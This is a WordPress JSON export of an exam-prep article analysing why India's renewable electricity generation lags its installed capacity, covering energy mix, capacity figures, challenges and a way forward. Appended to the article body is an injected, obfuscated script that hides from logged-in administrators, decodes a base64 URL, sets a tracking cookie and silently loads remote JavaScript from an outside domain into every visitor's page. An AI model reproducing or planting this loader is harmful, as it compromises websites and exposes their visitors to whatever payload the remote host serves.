{"id":2112,"date":"2025-05-22T13:12:55","date_gmt":"2025-05-22T13:12:55","guid":{"rendered":"https:\/\/iasquest.com\/?p=2112"},"modified":"2026-02-11T18:56:49","modified_gmt":"2026-02-11T18:56:49","slug":"gs-iii-technology-economic-development-biodiversity-environment-security-disaster-management","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/gs-iii-technology-economic-development-biodiversity-environment-security-disaster-management\/","title":{"rendered":"GS III &#8211; Technology, Economic Development, Biodiversity, Environment, Security, Disaster Management"},"content":{"rendered":"\n<p class=\"has-vivid-red-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>India\u2019s renewable energy generation has not matched our energy capacity. Critically analyze.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">India\u2019s renewable energy installations have surged in recent years, but actual electricity <strong>generation from these sources remains low<\/strong>, a mismatch driven by soaring demand, extreme weather, and storage limitations, according to a new <strong>analysis by Climate Action Tracker<\/strong>. While <strong>renewable energy accounted for 37 per cent of India\u2019s total generation capacity, it contributed only 18 per cent to the actual power mix<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\"><strong>Status of Energy sector in India:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\"><strong>Energy Mix:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\"><strong>Coal:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\">Dominates India\u2019s energy mix, accounting for around <strong>50%<\/strong> of power generation, though its share is gradually decreasing.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\"><strong>Oil and Gas<\/strong>:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">India heavily depends on imports for crude oil (85%) and natural gas (50%).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\"><strong>Renewables:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\">Renewable energy is rapidly growing, contributing approximately 30% to installed capacity, with solar and wind leading the way.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>Hydropower and Nuclear:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\">Play a smaller yet significant role in the overall energy supply.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>Scenario of Renewable energy sector in India:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\">As of March 31, 2025, <strong>India&#8217;s total installed renewable energy capacity is 220.10 GW.<\/strong> This includes,<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\"><strong>Solar Power<\/strong>: A significant portion of the renewable energy capacity, with 97.86 GW as of January 28, 2025.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\"><strong>Wind Power:<\/strong> 47.96 GW.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><strong>Hydro Power:<\/strong> Includes small hydro power, contributing 5.08 GW.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\"><strong>Biomass Energy:<\/strong> 10.72 GW, including bagasse-based and non-bagasse-based cogeneration.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\"><strong>Waste-to-Energy:<\/strong> 0.61 GW.<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-20\">\n<li>India&#8217;s<strong> Potential:<\/strong> India has a high potential for renewable energy, particularly solar energy, with the National Institute of Solar Energy (NISE) estimating its potential at 748 GW.<\/li>\n\n\n\n<li>The country <strong>aims<\/strong> to achieve 50% of its energy capacity from renewable sources by 2030 and 500 GW of non-fossil fuel-based energy capacity by the same year.<\/li>\n\n\n\n<li>India&#8217;s installed renewable energy <strong>capacity has increased<\/strong> by 165% over the past decade, rising from 76.38 GW in 2014 to 203.1 GW in 2024.<\/li>\n\n\n\n<li>The government has implemented various schemes and policies to promote renewable energy development, including the National Solar Mission and various solar parks.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"624\" height=\"376\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/05\/image-8.jpg\" alt=\"\" class=\"wp-image-2113\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/05\/image-8.jpg 624w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/05\/image-8-300x181.jpg 300w\" sizes=\"auto, (max-width: 624px) 100vw, 624px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\"><strong>Energy gap: Between installed capacity and actual power generated:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-22\">\n<li>An analysis by the Climate Action Tracker has revealed that renewables made up 37 per cent of India\u2019s installed generation capacity. However, they contributed only about 18 per cent to the electricity generated.<\/li>\n\n\n\n<li><strong>Several factors<\/strong> contributed to the gap between installed capacity and actual generation, according to the researchers.<\/li>\n\n\n\n<li><strong>Chief<\/strong> among them was the country\u2019s<strong> rising electricity demand due to extreme heat.<\/strong> Power consumption rose by 14 per cent in May 2024 compared to the same month in 2023, <strong>prompting increased domestic production and imports of coal and fossil gas<\/strong>. As a result, in comparison to renewables, the latter has a higher share in the energy mix.<\/li>\n\n\n\n<li><strong>Weather-related factors<\/strong> have also driven lower energy demand from renewables. <strong>Limited storage capacity<\/strong> posed a challenge, as it meant that electricity demand at night continued to be met largely through fossil fuel sources. In addition, lower-than-expected solar radiation and variable wind patterns affected generation too.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\"><strong>Total electricity generation in India reached 2,058 terawatt-hours (TWh) in 2024<\/strong>, up from 937 TWh in 2010. Coal\u2019s share in the power mix rose from 69 per cent in 2010 to 75 per cent in 2024, while renewable energy increased from 15 per cent to 20 per cent in the same period. The share of fossil gas declined from 13 per cent to 3 per cent and other clean energy sources rose from 1 per cent to 3 per cent.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"624\" height=\"292\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/05\/image-9.jpg\" alt=\"\" class=\"wp-image-2114\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/05\/image-9.jpg 624w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/05\/image-9-300x140.jpg 300w\" sizes=\"auto, (max-width: 624px) 100vw, 624px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\"><strong>Challenges in renewable energy production in India:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-25\">\n<li><strong>Energy Demand and Supply Gap<\/strong>: Rapid urbanization and industrialization have led to a growing demand for energy, outpacing domestic supply capabilities.<\/li>\n\n\n\n<li><strong>Dependence on Imports:<\/strong> India imports over 85% of its crude oil and 50% of its natural gas, exposing the economy to volatile global prices and supply disruptions.<\/li>\n\n\n\n<li><strong>Coal Dependence:<\/strong> Despite efforts to diversify, coal remains the backbone of energy sector in India, contributing to high carbon emissions and environmental concerns.\n<ul class=\"wp-block-list\">\n<li>Moreover 27 GW of new coal capacity was either under construction or in advanced planning, with an additional 24.2 GW expected between 2027 and 2032.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Renewable Energy Integration: <\/strong>Transitioning to renewable energy faces challenges in terms of grid infrastructure, storage technology, and managing intermittent power supply.<\/li>\n\n\n\n<li><strong>Energy Access:<\/strong> Rural areas and remote regions still struggle with reliable and affordable electricity.<\/li>\n\n\n\n<li><strong>Financial Constraints: <\/strong>Discoms (distribution companies) face financial instability due to inefficiencies, losses, and tariff-related issues.<\/li>\n\n\n\n<li><strong>Environmental Impact: <\/strong>High reliance on fossil fuels contributes to air pollution, greenhouse gas emissions, and ecological degradation.<\/li>\n\n\n\n<li><strong>India\u2019s ambiguous approach<\/strong> to phasing out fossil gas. While its 2030 generation targets were broadly aligned with a 1.5\u00b0C scenario, current fossil gas expansion plans were inconsistent with a full phaseout by 2040.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\"><strong>Way forward:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-27\">\n<li>India\u2019s energy future hinges on balancing growth, sustainability, and security. Expanding renewable energy capacity, particularly solar and wind, is critical to reducing dependence on fossil fuels. Modernizing the grid for efficiency and integrating distributed energy systems will enhance reliability.<\/li>\n\n\n\n<li>Investing in energy storage and green hydrogen technologies can address intermittency challenges. International financial and technological collaboration is of high priority.<\/li>\n\n\n\n<li>Diversifying energy sources and boosting domestic production of oil, gas, and biofuels will enhance energy security. Accelerating rural electrification and promoting energy efficiency can ensure inclusive and sustainable development.<\/li>\n\n\n\n<li>Renewable energy in India would need to supply 52-65 per cent of the country\u2019s electricity by 2030 and 91-96 per cent by 2040, to be compatible with climate goals.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\"><strong>Summary:<\/strong><\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\"><a href=\"https:\/\/www.downtoearth.org.in\/renewable-energy\/indias-renewable-energy-generation-lags-behind-capacity-due-to-weather-surging-demand-analysis\" target=\"_blank\" rel=\"noopener\">https:\/\/www.downtoearth.org.in\/renewable-energy\/indias-renewable-energy-generation-lags-behind-capacity-due-to-weather-surging-demand-analysis<\/a><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>India\u2019s renewable energy generation has not matched our energy capacity. Critically analyze. India\u2019s renewable energy installations have surged in recent [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":2115,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[39,22,26,12],"tags":[],"class_list":["post-2112","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-daws","category-environment","category-gs-3","category-mains"],"_links":{"self":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2112","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/comments?post=2112"}],"version-history":[{"count":2,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2112\/revisions"}],"predecessor-version":[{"id":3058,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2112\/revisions\/3058"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media\/2115"}],"wp:attachment":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media?parent=2112"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/categories?post=2112"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/tags?post=2112"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}